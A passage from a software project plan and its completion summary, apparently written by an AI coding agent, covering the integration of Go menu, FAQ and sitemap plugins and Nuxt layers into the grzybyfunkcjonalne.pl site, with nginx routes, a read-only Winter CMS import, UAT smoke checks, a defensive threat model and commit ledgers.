edits show after the swr TTL.
Build (pnpm build), pnpm test and pnpm smoke:ssr; commit in the site app checkout and push its main; then bump the vue-grzybyfunkcjonalne-app gitlink in the host as its own commit and push host master.</action>
<verify>
<automated>cd ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app &amp;&amp; pnpm test &amp;&amp; pnpm build &amp;&amp; pnpm smoke:ssr &amp;&amp; test ! -e app/data/menu.ts &amp;&amp; test ! -e app/data/faq.pl.json &amp;&amp; grep -q "MenuNav" app/components/SiteHeader.vue &amp;&amp; grep -q "FaqBlock" app/components/FaqSection.vue &amp;&amp; test "$(git rev-parse main)" = "$(git rev-parse origin/main)" &amp;&amp; echo site-ok</automated>
<fails_when>Non-zero exit or "site-ok" absent: a site test or the build fails, an SSR smoke line fails, the old data files still exist, the header or FAQ section does not use the layer components, or main is not pushed.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "enabled: false" ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts` prints a line inside the sitemap block.
- `grep -n "vue-menu-layer.git#v0.1.0" ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` and `grep -n "vue-faq-layer.git#v0.1.0" ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` each print a line.
- The host commit bumping vue-grzybyfunkcjonalne-app touches only that gitlink.
</acceptance_criteria>
<done>The site renders its menu and FAQ through the layers and no longer carries them as app data or generates its own sitemap.</done>
</task>
<task type="auto">
<name>Task 5: Ordered import step, nginx routes, deploy guide and smoke lines; redeploy UAT, import the Winter rows, smoke, and compare the sitemap with PHP</name>
<precondition>Tasks 2 and 4 are committed and pushed; STAGING_SSH and STAGING_URL are set and `ssh "$STAGING_SSH" true` succeeds.</precondition>
<files>../sm-grzybyfunkcjonalne-app/scripts/import-companions.sh, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md, ../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/DEPLOY.md, ../sm-grzybyfunkcjonalne-app/README.md, .planning/todos/pending/site-cache-purge-for-menu-and-faq.md</files>
<read_first>../sm-grzybyfunkcjonalne-app/scripts/migrate.sh (step list and flag parsing), scripts/php-export/README.md, scripts/urls.txt (grammar), scripts/smoke.sh (--url mode, routing of /gfadmin and /_journal), scripts/check-deploy.sh, deploy/nginx/grzybyfunkcjonalne-staging.conf (location ^~ /_journal/ :132 and the header comments about add_header), DEPLOY.md (Release, Smoke, Rollback), this plan's Task 1 SUMMARY (MENU_CODE, maps), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-PLAN.md (how the last redeploy ran)</read_first>
<action>Per D-15 and D-19 and SC-3 and SC-4.
scripts/import-companions.sh --bin PATH --workdir DIR --dir EXPORT_DIR [--map old=new ...] [--force] [--dry-run]: runs, in order, faq:import-winter (after the translate locales exist), menu:import-winter (after Journal so registry references resolve), sitemap:import-winter, passing the maps to the menu and sitemap commands, and prints each command's report; set -euo pipefail, absolute paths, refuses a missing file. migrate.sh gains --companions DIR (and repeated --companions-map) and calls import-companions.sh after its Journal, category and author steps; its help text lists the new step. scripts/php-export/README.md points at the plugin export SQL files and the discovery queries.
nginx (staging vhost, before location /): location = /sitemap.xml and location = /sitemap.xsl, and location ^~ /_menu/ and ^~ /_faq/, each proxy_pass to the Go upstream with Host $host and X-Forwarded-Proto $scheme exactly like the /_journal/ block and GET and HEAD only; keep the server-level headers rule the file documents. check-deploy.sh asserts the four locations. urls.txt: remote lines for 200 /sitemap.xml type=application/xml contains=<urlset, 200 /sitemap.xsl type=text/xsl, 200 /_menu/api/v1/menus/MENU_CODE type=application/json, 200 /_faq/api/v1/faqs/what-mushrooms-can-give-you type=application/json, and the homepage containing the first menu title and the first FAQ question; smoke.sh routes /_menu, /_faq and /sitemap.* to Go in the local rehearsal. DEPLOY.md: a "Blog companions" section (export, import-companions.sh on an existing database, the recorded maps, nginx locations, the sitemap now from Go with frontend_url and the tier settings, edits visible after the swr TTL, rollback: remove the four locations and re-enable the Nuxt sitemap). README points to it. Commit the host changes and push master.
Todo (planning doc commit in summercms.go): .planning/todos/pending/site-cache-purge-for-menu-and-faq.md records that menu and FAQ admin saves do not purge the Nuxt swr cache yet (RESEARCH Open Question 4) and proposes a framework-level purge service.
Redeploy UAT per DEPLOY.md Release: scripts/build.sh; upload the binary, config and scripts, and the Nuxt output; on the server run bin/grzybyfunkcjonalne migrate (creates the plugin tables), then scripts/import-companions.sh --workdir /srv/grzybyfunkcjonalne/go --dir /srv/grzybyfunkcjonalne/import/companions with the recorded maps (dry run first, then real), keeping both reports for the SUMMARY; install the updated vhost (sudo nginx -t before reload); restart both supervisor programs. Run scripts/smoke.sh --url "$STAGING_URL". Fetch https://grzybyfunkcjonalne.pl/sitemap.xml and $STAGING_URL/sitemap.xml, compare their loc sets with the host part removed, and record the differences and their reasons in the SUMMARY.</action>
<verify>
<automated>bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh &amp;&amp; bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --url "$STAGING_URL" &amp;&amp; curl -fsS -D - -o /dev/null "$STAGING_URL/sitemap.xml" | grep -qi '^content-type: application/xml' &amp;&amp; curl -fsS "$STAGING_URL/_faq/api/v1/faqs/what-mushrooms-can-give-you" | grep -q '"data"' &amp;&amp; echo uat-companions-ok</automated>
<fails_when>Non-zero exit or "uat-companions-ok" absent: check-deploy finds a missing location, smoke.sh prints "smoke: FAIL" or lacks its ok line, /sitemap.xml is not served as application/xml through nginx, or the FAQ API does not answer the data envelope.</fails_when>
<automated>LIVE=$(curl -fsS https://grzybyfunkcjonalne.pl/sitemap.xml) &amp;&amp; UAT=$(curl -fsS "$STAGING_URL/sitemap.xml") &amp;&amp; diff &lt;(printf '%s' "$LIVE" | grep -o '&lt;loc&gt;[^&lt;]*' | sed -E 's#&lt;loc&gt;https?://[^/]+##' | sort -u) &lt;(printf '%s' "$UAT" | grep -o '&lt;loc&gt;[^&lt;]*' | sed -E 's#&lt;loc&gt;https?://[^/]+##' | sort -u) &amp;&amp; echo loc-sets-equal</automated>
<fails_when>Non-zero exit or "loc-sets-equal" absent: the UAT sitemap's path set differs from the live PHP sitemap's (a URL missing or extra); record the diff and fix the source (definition import, maps or patterns) unless the SUMMARY explains it as a live-site change since the export.</fails_when>
<human-check>Open $STAGING_URL/: the header menu shows Blog and the Grzyby Funkcjonalne dropdown with every category (desktop hover and click, mobile toggle, keyboard Esc), the active link is marked on a category page, and the FAQ section lists the questions with answers opening. In $STAGING_URL/gfadmin: Menus and Menu entries (edit an entry title, reorder by drag and by keyboard, the reference dropdown follows the type), FAQ (edit an answer in the richeditor, add a question row, save and see the change on the site after the cache TTL), Settings, Sitemap (the definition form with its rows) and Sitemap settings. Open $STAGING_URL/sitemap.xml in a browser (XSL view renders). Reply "uat approved" or list issues.</human-check>
</verify>
<acceptance_criteria>
- Each of `location = /sitemap.xml`, `location = /sitemap.xsl`, `location ^~ /_menu/` and `location ^~ /_faq/` is found by `grep -nF` in ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf.
- `grep -n "import-companions.sh" ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh` prints at least one line.
- The SUMMARY records both import reports, the smoke output, the loc-set comparison and the human-check reply; no secret value appears in it.
</acceptance_criteria>
<done>UAT serves the menu, FAQ and sitemap from the plugins with the copied Winter data, behind nginx, and the deploy is documented.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| executor → PHP production server | redeploy next to the live Winter site |
| live PHP database → export files | read-only queries run by the operator |
| internet → nginx → Go | new public locations |
| Nuxt SSR → plugin APIs | server-side fetches on loopback |
| executor → git origins | five new repositories, tags, gitlinks |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-17-32 | Tampering (XSS) | layer v-html sinks and links | high | mitigate | FAQ HTML is sanitized by the server on output (plan 04); MenuNav renders a span for any URL outside the allowlist and adds rel noopener noreferrer on _blank; node test pins it |
| T-17-33 | Tampering / Information Disclosure | export from the live PHP database | high | mitigate | SELECT-only export SQL run by the operator; outputs only on the server; no credentials in repositories or the SUMMARY |
| T-17-34 | Spoofing | sitemap base URL behind nginx | medium | mitigate | nginx forwards Host and X-Forwarded-Proto; Go trusts them only from configured trusted proxies (127.0.0.1); the loc-set comparison and smoke check the result |
| T-17-35 | Denial of Service | /_menu and /_faq public routes | medium | mitigate | plugin throttle buckets keyed by the trusted client IP; nginx GET and HEAD only on the new locations |
| T-17-36 | Tampering | host CORS for the new APIs | low | accept | the public read APIs carry no credentials; the host's existing cors config (allowed origins *) applies only to the listed paths, like _journal/api |
| T-17-37 | Tampering / Repudiation | pushes, tags and gitlinks | high | mitigate | blocking-human approval at Task 1; plugins pushed before gitlinks; every push verified against origin; heads and tags recorded; no tag moved |
| T-17-38 | Denial of Service | UAT redeploy | medium | mitigate | nginx -t before reload; DEPLOY.md rollback (remove the four locations, re-enable the Nuxt sitemap, previous binary kept); the Winter vhost untouched |
| T-17-SC | Tampering | npm installs (layer dev dependencies, layer git dependencies) | high | mitigate | only the already-pinned nuxt 4.4.8, vue 3.5.35 and typescript 5.9.3 (the vue-journal-layer set, no new package names); the layers are first-party repositories pinned by tag; lockfiles committed |
</threat_model>
<verification>
- Task 1: companions-ready and a human approval with the recorded discovery facts.
- Task 2: host vet and short suite, plugins pushed with the tag require, submodules present; the host companions test on a Docker host.
- Task 3: layer tests, SSR smokes and tags on origin.
- Task 4: site tests, build, SSR smoke and push.
- Task 5: check-deploy, UAT smoke, sitemap content type and FAQ API through nginx, loc-set comparison with the live PHP sitemap, and the end-of-phase human check.
</verification>
<success_criteria>
- SC-4: grzybyfunkcjonalne.pl (UAT) reads its menu and FAQ from the plugins instead of app config.
- SC-3 (live): the Go sitemap answers through nginx and lists the same paths as the PHP sitemap.
- D-18: two tagged, public, module-free layers exist and the site consumes them.
</success_criteria>
<output>
Create `.planning/phases/17-blog-companions/17-05-SUMMARY.md` when done, with the discovery facts, the maps, commits and pushed heads per repository, the layer tags, the import reports, the smoke output, the loc-set comparison and the human-check reply.
</output>

View File

@@ -0,0 +1,411 @@
---
phase: 17-blog-companions
plan: 05
subsystem: integration
tags: [go, nuxt, nginx, sitemap, menu, faq, winter-import, uat, layers, submodules]
requires:
- phase: 17-02
provides: summercms v0.1.23 (RELEASE_TAG) on origin
- phase: 17-03
provides: Journal menu item types (all-journal-categories, all-journal-posts, journal-category, journal-post), sm-sitemap-plugin with sitemap:import-winter
- phase: 17-04
provides: sm-menu-plugin and sm-faq-plugin, approved /_menu/api/v1 and /_faq/api/v1 shapes, menu:import-winter and faq:import-winter
provides:
- pushed sm-journal-plugin, sm-sitemap-plugin, sm-menu-plugin, sm-faq-plugin (main, require summercms v0.1.23)
- public layers vue-menu-layer and vue-faq-layer (main, annotated tag v0.1.0)
- grzybyfunkcjonalne host with the three plugins as submodules, menu_items patterns, CORS paths, TestCompanionsHost
- site app rendering the header menu through MenuNav and the homepage FAQ through FaqBlock; Nuxt sitemap off
- scripts/import-companions.sh (ordered D-19 import), migrate.sh --companions, sitemap:import-winter --page-url
- nginx locations = /sitemap.xml, = /sitemap.xsl, ^~ /_menu/, ^~ /_faq/ on UAT (GET and HEAD only)
- UAT redeployed with the Winter menu, FAQ and sitemap rows imported
affects: [17-06 unit tests, production cutover of grzybyfunkcjonalne.pl, site-cache-purge-for-menu-and-faq todo, sm-translate-plugin cookie follow-up]
actuals:
tokens: 41645
tasks: 5
commits: 3
plan_head_before: 4ee26987006383efe4dba5059cbbf8984511ad0b
plan_head_after: 2440560f7cea46d668b5a88ee0f26764400e2597
repo_heads:
summercms.go: {before: 4ee2698, after: 2440560, commits: 2, note: "rev-list 4ee2698..2440560 counts 3; af02e6c (docs(phase-13) security verification) is another session's commit inside the range; this plan's own commits are 7290d8f and 2440560, both local (no push approved)"}
sm-journal-plugin: {before: "origin 09308d9", after: 06d0c9b, commits: 1, pushed: "06d0c9b plus 17-03/16.3 commits 7bbafcb 58851dd fd1572a c49d216"}
sm-sitemap-plugin: {before: "7d937e3 (no remote)", after: 5a260db, commits: 1, pushed: "fe39e26 4a82240 7d937e3 5a260db"}
sm-menu-plugin: {before: "33a65ad (no remote)", after: 33a65ad, commits: 0, pushed: "08f99b8 e044bc7 33a65ad"}
sm-faq-plugin: {before: "1585f06 (no remote)", after: 1585f06, commits: 0, pushed: "1c54912 7413c69 1585f06"}
vue-menu-layer: {before: "(new repository)", after: d980f4c, commits: 1, tag: "v0.1.0 annotated (tag object 11181dc0, peeled d980f4c)"}
vue-faq-layer: {before: "(new repository)", after: 2d62924, commits: 1, tag: "v0.1.0 annotated (tag object 706e734d, peeled 2d62924)"}
vue-grzybyfunkcjonalne-app: {before: 3a920c7, after: bc143fa, commits: 1}
sm-grzybyfunkcjonalne-app: {before: e44cfde, after: 6441b17, commits: 7}
tech-stack:
added: [vue-menu-layer v0.1.0, vue-faq-layer v0.1.0]
patterns:
- "Companion imports run as one ordered script (FAQ after translate locales, menu after Journal, then sitemap) that migrate.sh calls on a fresh install and that runs alone on an existing database"
- "A Winter CMS-page sitemap item is copied as a url item through an explicit --page-url reference=/path map instead of being dropped"
- "Go-served public paths get exact or ^~ nginx locations with Host and X-Forwarded-Proto, limit_except GET HEAD, and no per-location add_header (server-level security headers keep applying)"
- "Plan-time remote checks behind UAT basic auth run on the server with curl --resolve to loopback"
key-files:
created:
- ../sm-grzybyfunkcjonalne-app/companions_test.go
- ../sm-grzybyfunkcjonalne-app/config/menu_items.yaml
- ../sm-grzybyfunkcjonalne-app/scripts/import-companions.sh
- ../sm-grzybyfunkcjonalne-app/testdata/companions/menus.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/entries.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/faqs.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/sitemap-definitions.jsonl
- ../sm-grzybyfunkcjonalne-app/testdata/companions/sitemap-settings.json
- ../vue-menu-layer/app/components/Menu/Nav.vue
- ../vue-menu-layer/app/components/Menu/NavItem.vue
- ../vue-menu-layer/app/utils/menuLinks.ts
- ../vue-faq-layer/app/components/Faq/Block.vue
- ../vue-faq-layer/app/components/Faq/List.vue
- ../vue-faq-layer/app/components/Faq/Item.vue
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/companions/menus/main-menu.json
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/companions/faqs/what-mushrooms-can-give-you.json
- .planning/todos/pending/site-cache-purge-for-menu-and-faq.md
modified:
- ../sm-journal-plugin/go.mod
- ../sm-sitemap-plugin/console/import_winter.go
- ../sm-grzybyfunkcjonalne-app/.gitmodules
- ../sm-grzybyfunkcjonalne-app/go.work
- ../sm-grzybyfunkcjonalne-app/go.mod
- ../sm-grzybyfunkcjonalne-app/summer.yaml
- ../sm-grzybyfunkcjonalne-app/plugins.gen.go
- ../sm-grzybyfunkcjonalne-app/config/http.yaml
- ../sm-grzybyfunkcjonalne-app/boot_test.go
- ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
- ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
- ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
- ../sm-grzybyfunkcjonalne-app/README.md
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue
- .planning/phases/17-blog-companions/deferred-items.md
key-decisions:
- "MENU_CODE = main-menu (PHP menu id 1, Main Menu, active); the site header renders MenuNav code main-menu"
- "Menu types: link -> url and blog_categories -> all-journal-categories are built into menu:import-winter; no page entries exist; no --map is needed"
- "Sitemap cms-page item 'blog' is copied as a url item /blog through the new sitemap:import-winter --page-url blog=/blog (the live sitemap lists /blog); the cmsPage of the two Journal list items is dropped and the host patterns apply"
- "The PHP site never saved sitemap settings (system_settings row absent): no sitemap-settings.json export, the plugin keeps its defaults (priority tiers on)"
- "The FAQ export joins winter_translate_locales on this site (sed on the plugin SQL at run time, documented in scripts/php-export/README.md section 4); no Go code references winter_translate_*"
- "Six link entries under the missing parent 1 (Reishi to Lions's Mane, rodzaje/<slug>) are dropped by the import and reported; PHP never rendered them"
- "Remote smoke and the Task 5 curl checks run on the server through nginx with --resolve to loopback, because the UAT basic auth gate answers 401 from elsewhere"
- "Production deploy is not part of this plan (UAT only); the summercms.go docs commits stay local"
patterns-established:
- "Site integration of a shared plugin: plugin pushed with the framework tag first, then one host commit per submodule add or gitlink bump, then one wiring commit"
requirements-completed: [SC-1, SC-3, SC-4, D-05, D-15, D-18, D-19]
coverage:
- id: D1
description: "Host boots the three plugins from their pushed repositories, imports fixture exports, and serves the menu with Journal categories at /<slug>, the sanitized FAQ and the sitemap"
requirement: "SC-1"
verification:
- kind: integration
ref: "../sm-grzybyfunkcjonalne-app/companions_test.go#TestCompanionsHost"
status: pass
- kind: other
ref: "Task 2 verify (go vet, go test -short, plugin heads == origin, require v0.1.23, submodules checked out) -> host-wired"
status: pass
human_judgment: false
- id: D2
description: "vue-menu-layer and vue-faq-layer: typed clients, MenuNav and FaqBlock, URL allowlist and rel noopener tests, SSR smokes, tag v0.1.0 on origin"
requirement: "D-18"
verification:
- kind: unit
ref: "pnpm -C ../vue-menu-layer test (16 tests) && pnpm -C ../vue-faq-layer test (7 tests)"
status: pass
- kind: e2e
ref: "pnpm run smoke:ssr in both layers (17 and 10 checks) -> layers-ok"
status: pass
human_judgment: false
- id: D3
description: "Site app renders MenuNav in the header and FaqBlock on the homepage, app menu and FAQ data deleted, Nuxt sitemap disabled"
requirement: "SC-4"
verification:
- kind: unit
ref: "vue-grzybyfunkcjonalne-app pnpm test (27 tests), pnpm build, pnpm smoke:ssr (38 checks) -> site-ok"
status: pass
human_judgment: false
- id: D4
description: "UAT serves /sitemap.xml, /sitemap.xsl, /_menu/ and /_faq/ from Go through nginx with the server-level security headers, GET and HEAD only, and the full smoke passes"
requirement: "D-15"
verification:
- kind: e2e
ref: "on the server: CURL_HOME=<.curlrc resolve to 127.0.0.1> scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl -> smoke: ok (105 urls)"
status: pass
- kind: other
ref: "Task 5 verify (check-deploy ok; sitemap content-type application/xml and FAQ data envelope through nginx) -> uat-companions-ok"
status: pass
human_judgment: false
- id: D5
description: "Winter menu, FAQ and sitemap rows exported read-only and imported on UAT by the ordered import step"
requirement: "D-19"
verification:
- kind: other
ref: "scripts/import-companions.sh dry run and real run on UAT (reports below)"
status: pass
human_judgment: false
- id: D6
description: "UAT sitemap loc set equals the live PHP sitemap's modulo host, except one UAT-only post"
requirement: "SC-3"
verification:
- kind: other
ref: "loc-set diff via nginx: 71 live paths all present on UAT; one UAT-only extra /blog/uat-16-2-blog-editor (404 on live)"
status: pass
human_judgment: true
rationale: "The plan's literal loc-sets-equal command fails on the UAT-only test post; a human accepts the explanation (UAT data, not a source difference)"
- id: D7
description: "Header menu interaction (dropdown, hover and click, mobile toggle, Esc, active link), FAQ opening, and admin editing of menus, entries, FAQ and sitemap on UAT"
requirement: "SC-4"
verification: []
human_judgment: true
rationale: "Visual and interaction checks of the end-of-phase human-check; the human confirmed the sitemap and the admin screens load, the full list is for /msd-verify-work"
duration: 93min
completed: 2026-10-12
status: complete
---
# Phase 17 Plan 05: Site integration of the blog companions Summary
**grzybyfunkcjonalne.pl on UAT now reads its header menu (`main-menu`) and homepage FAQ from the Go menu and FAQ plugins through the new tagged layers vue-menu-layer and vue-faq-layer, serves `/sitemap.xml` from the Go sitemap plugin through nginx, and carries the PHP site's menu, FAQ and sitemap rows copied by an ordered import step; smoke 105/105 through nginx.**
## Performance
- **Duration:** about 93 min wall clock, including two human waits (Task 1 exports and approval, the vhost install)
- **Started:** 2026-10-12T15:20:26Z
- **Completed:** 2026-10-12T16:55Z
- **Tasks:** 5 of 5
- **Files modified:** 30 in the host, 15 in the site app, 3 in sm-sitemap-plugin, 2 in sm-journal-plugin, 27 and 26 new files in the two layers, 2 in summercms.go
## Accomplishments
- Four plugin repositories pushed in release order, each requiring summercms v0.1.23; two new public layers pushed with annotated tags v0.1.0.
- Host: sitemap, menu and FAQ plugins as submodules (one commit each), Journal gitlink bump, wiring commit (go.work, go.mod, summer.yaml, regenerated plugins.gen.go, `config/menu_items.yaml` with `journal-post: /blog/:slug` and `journal-category: /:slug`, CORS `_menu/api/*` and `_faq/api/*`), `TestCompanionsHost` passing on Docker.
- Site app: `SiteHeader.vue` renders `MenuNav code="main-menu"`, `FaqSection.vue` renders `FaqBlock slug="what-mushrooms-can-give-you"`; `app/data/menu.ts` and `app/data/faq.pl.json` deleted; `sitemap: { enabled: false }`; robots names `/sitemap.xml`.
- `scripts/import-companions.sh` (FAQ, then menu, then sitemap; dry run; refuses a second run without `--force`), `migrate.sh --companions`, nginx locations, smoke lines, check-deploy assertions, DEPLOY.md "Blog companions" section.
- UAT redeployed and imported; the vhost installed by the human (sha256 verified), `nginx -t` passes, smoke ok through nginx, sitemap loc set matches live.
## Task Commits
1. **Task 1: repositories, read-only Winter export, menu code and maps, approval** (checkpoint, no commits; exports produced from the operator's dump, see Deviations)
2. **Task 2: host wiring (tracer)**
- sm-journal-plugin `06d0c9b` chore(deps): require summercms v0.1.23
- sm-sitemap-plugin `5a260db` feat(17-05): sitemap:import-winter --page-url copies a CMS page item as a url item
- host `2a68b15` chore: add sitemap plugin submodule
- host `d885458` chore: add menu plugin submodule
- host `df3bb06` chore: add faq plugin submodule
- host `95a4936` chore: bump journal plugin (menu item types)
- host `1ed0b48` feat(17-05): wire the sitemap, menu and FAQ plugins into the host
3. **Task 3: layers**
- vue-menu-layer `d980f4c` feat: MenuNav layer for the SummerCMS menu API (tag v0.1.0)
- vue-faq-layer `2d62924` feat: FaqBlock layer for the SummerCMS FAQ API (tag v0.1.0)
4. **Task 4: site app**
- vue-grzybyfunkcjonalne-app `bc143fa` feat: menu and FAQ from the SummerCMS plugins through vue-menu-layer and vue-faq-layer
- host `973b2b5` chore: bump the site app (menu and FAQ from the plugins, Go sitemap) (gitlink only)
5. **Task 5: import step, nginx, deploy guide, UAT**
- host `6441b17` feat(17-05): blog companions import step, nginx routes, smoke lines and deploy guide
- summercms.go `7290d8f` docs(17-05): todo for a site cache purge on menu and FAQ saves
- summercms.go `2440560` docs(17-05): deferred items from the UAT companions deploy
**Pushed heads (all verified equal to origin):** sm-journal-plugin main 06d0c9b, sm-sitemap-plugin main 5a260db, sm-menu-plugin main 33a65ad, sm-faq-plugin main 1585f06, vue-menu-layer main d980f4c + v0.1.0, vue-faq-layer main 2d62924 + v0.1.0, vue-grzybyfunkcjonalne-app main bc143fa, sm-grzybyfunkcjonalne-app master 6441b17. summercms.go is not pushed (not approved).
**Commit ledger note:** `git rev-list --count 4ee2698..2440560` is 3 because it includes `af02e6c` (docs(phase-13): add security threat verification), a concurrent session's commit. This plan made 2 summercms.go commits; its code commits live in the other repositories listed above.
## Task 1: discovery facts and the human's replies
**Human reply to the Task 1 checkpoint (verbatim; the bracket stands where the pasted discovery output was, recorded as facts below):**
> "2. not sure why do you need translate table name, we won't be using "winter" prefix in sm golem15.translate [discovery results pasted] 3. huh? I created mysqldump in that folder on server, must suffice. 4. approved"
Later update relayed by the orchestrator: the human chowned `/srv/grzybyfunkcjonalne/import/companions` to `grzybyfunkcjonalne`, and the JSONL files were written there (the canonical path).
**Human reply to the vhost install checkpoint (verbatim):**
> "vhost installed, all passes, i see sitemap loading, all plugins in backend etc"
**Recorded facts:**
| Item | Value |
|---|---|
| MENU_CODE | `main-menu` (id 1, "Main Menu", active) |
| Menu entry types | `link` x7 -> `url` (built in); `blog_categories` x1 -> `all-journal-categories` (built in); no `page` entries |
| Menu entries | id 2 Blog `/blog` (root); ids 3-8 links Reishi, Cordyceps, Chaga, Turkey Tail, Shiitake, Lions's Mane (`rodzaje/<slug>`) with parent_id 1, which does not exist -> dropped; id 9 Grzyby Funkcjonalne `blog_categories`, url `#` |
| FAQ | id 1 `what-mushrooms-can-give-you`, locale `pl` (locale_id 2 -> code pl), active, 16 questions; name "Grzyby funcjonalne - Pytania i Odpowiedzi" |
| Sitemap definitions | id 1, theme `arsha`: `url` `/` (kept); `cms-page` reference `blog` (-> `url` `/blog` via `--page-url blog=/blog`); `all-journal-posts` (kept, cmsPage `blog-post` dropped); `all-journal-categories` (kept, cmsPage `index` dropped) |
| Sitemap settings | no `system_settings` row -> no export, plugin defaults |
| Translate table | `winter_translate_locales` on this site |
| Maps passed | none (`--map`); `--page-url blog=/blog` for the sitemap |
| Export sha256 (prefix) | entries d896b5f1, faqs 623a94d1, menus 7f0c77f7, sitemap-definitions b73c0d18 |
## Import reports (UAT, 2026-10-12)
**Dry run:**
```
import-companions: faq:import-winter --file /srv/grzybyfunkcjonalne/import/companions/faqs.jsonl --dry-run
ℹ FAQ 1 'what-mushrooms-can-give-you' (pl): 16 questions
ℹ Dry run: 1 FAQs would be copied.
ℹ Dry run complete (no changes made).
import-companions: menu:import-winter --menus /srv/grzybyfunkcjonalne/import/companions/menus.jsonl --entries /srv/grzybyfunkcjonalne/import/companions/entries.jsonl --dry-run
⚠ entry 2 'Blog' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 3 'Reishi' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 4 'Cordyceps' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 5 'Chaga' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 6 'Turkey Tail' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 7 'Shiitake' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 8 'Lions's Mane' (menu 1, type 'link'): type 'link' mapped to 'url'
⚠ entry 9 'Grzyby Funkcjonalne' (menu 1, type 'blog_categories'): type 'blog_categories' mapped to 'all-journal-categories'
⚠ entry 3 'Reishi' (menu 1, type 'link'): dropped (its parent 1 is not in the entries export)
⚠ entry 4 'Cordyceps' (menu 1, type 'link'): dropped (its parent 1 is not in the entries export)
⚠ entry 5 'Chaga' (menu 1, type 'link'): dropped (its parent 1 is not in the entries export)
⚠ entry 6 'Turkey Tail' (menu 1, type 'link'): dropped (its parent 1 is not in the entries export)
⚠ entry 7 'Shiitake' (menu 1, type 'link'): dropped (its parent 1 is not in the entries export)
⚠ entry 8 'Lions's Mane' (menu 1, type 'link'): dropped (its parent 1 is not in the entries export)
ℹ Dry run: 1 menus, 2 entries kept, 8 remapped, 6 dropped.
ℹ Dry run complete (no changes made).
import-companions: no sitemap-settings.json, the sitemap keeps its default settings
import-companions: sitemap:import-winter --definitions /srv/grzybyfunkcjonalne/import/companions/sitemap-definitions.jsonl --page-url blog=/blog --dry-run
ℹ Copying definition 1 (theme 'arsha') into the 'default' definition.
⚠ item 1 (type 'cms-page', reference 'blog'): copied as type 'url' with url '/blog'
⚠ item 2 (type 'all-journal-posts'): cmsPage 'blog-post' dropped (CMS pages are not supported)
⚠ item 3 (type 'all-journal-categories'): cmsPage 'index' dropped (CMS pages are not supported)
ℹ Dry run: 4 items kept, 1 remapped, 0 dropped.
ℹ Dry run complete (no changes made).
import-companions: ok
```
**Real run:**
```
import-companions: faq:import-winter --file /srv/grzybyfunkcjonalne/import/companions/faqs.jsonl
ℹ FAQ 1 'what-mushrooms-can-give-you' (pl): 16 questions
✓ Copied 1 FAQs.
import-companions: menu:import-winter --menus /srv/grzybyfunkcjonalne/import/companions/menus.jsonl --entries /srv/grzybyfunkcjonalne/import/companions/entries.jsonl
✓ Copied 1 menus, 2 entries kept, 8 remapped, 6 dropped.
import-companions: no sitemap-settings.json, the sitemap keeps its default settings
import-companions: sitemap:import-winter --definitions /srv/grzybyfunkcjonalne/import/companions/sitemap-definitions.jsonl --page-url blog=/blog
ℹ Copying definition 1 (theme 'arsha') into the 'default' definition.
⚠ item 1 (type 'cms-page', reference 'blog'): copied as type 'url' with url '/blog'
⚠ item 2 (type 'all-journal-posts'): cmsPage 'blog-post' dropped (CMS pages are not supported)
⚠ item 3 (type 'all-journal-categories'): cmsPage 'index' dropped (CMS pages are not supported)
ℹ Definition copied: 4 items kept, 1 remapped, 0 dropped.
import-companions: ok
```
Dropped or remapped, in one place: 8 menu entries remapped (7 `link` -> `url`, 1 `blog_categories` -> `all-journal-categories`); 6 menu entries dropped (orphans under the missing parent 1); 1 sitemap item remapped (`cms-page` `blog` -> `url` `/blog`); 2 sitemap `cmsPage` values dropped (the host patterns apply); 0 FAQ rows dropped.
## UAT verification (through nginx)
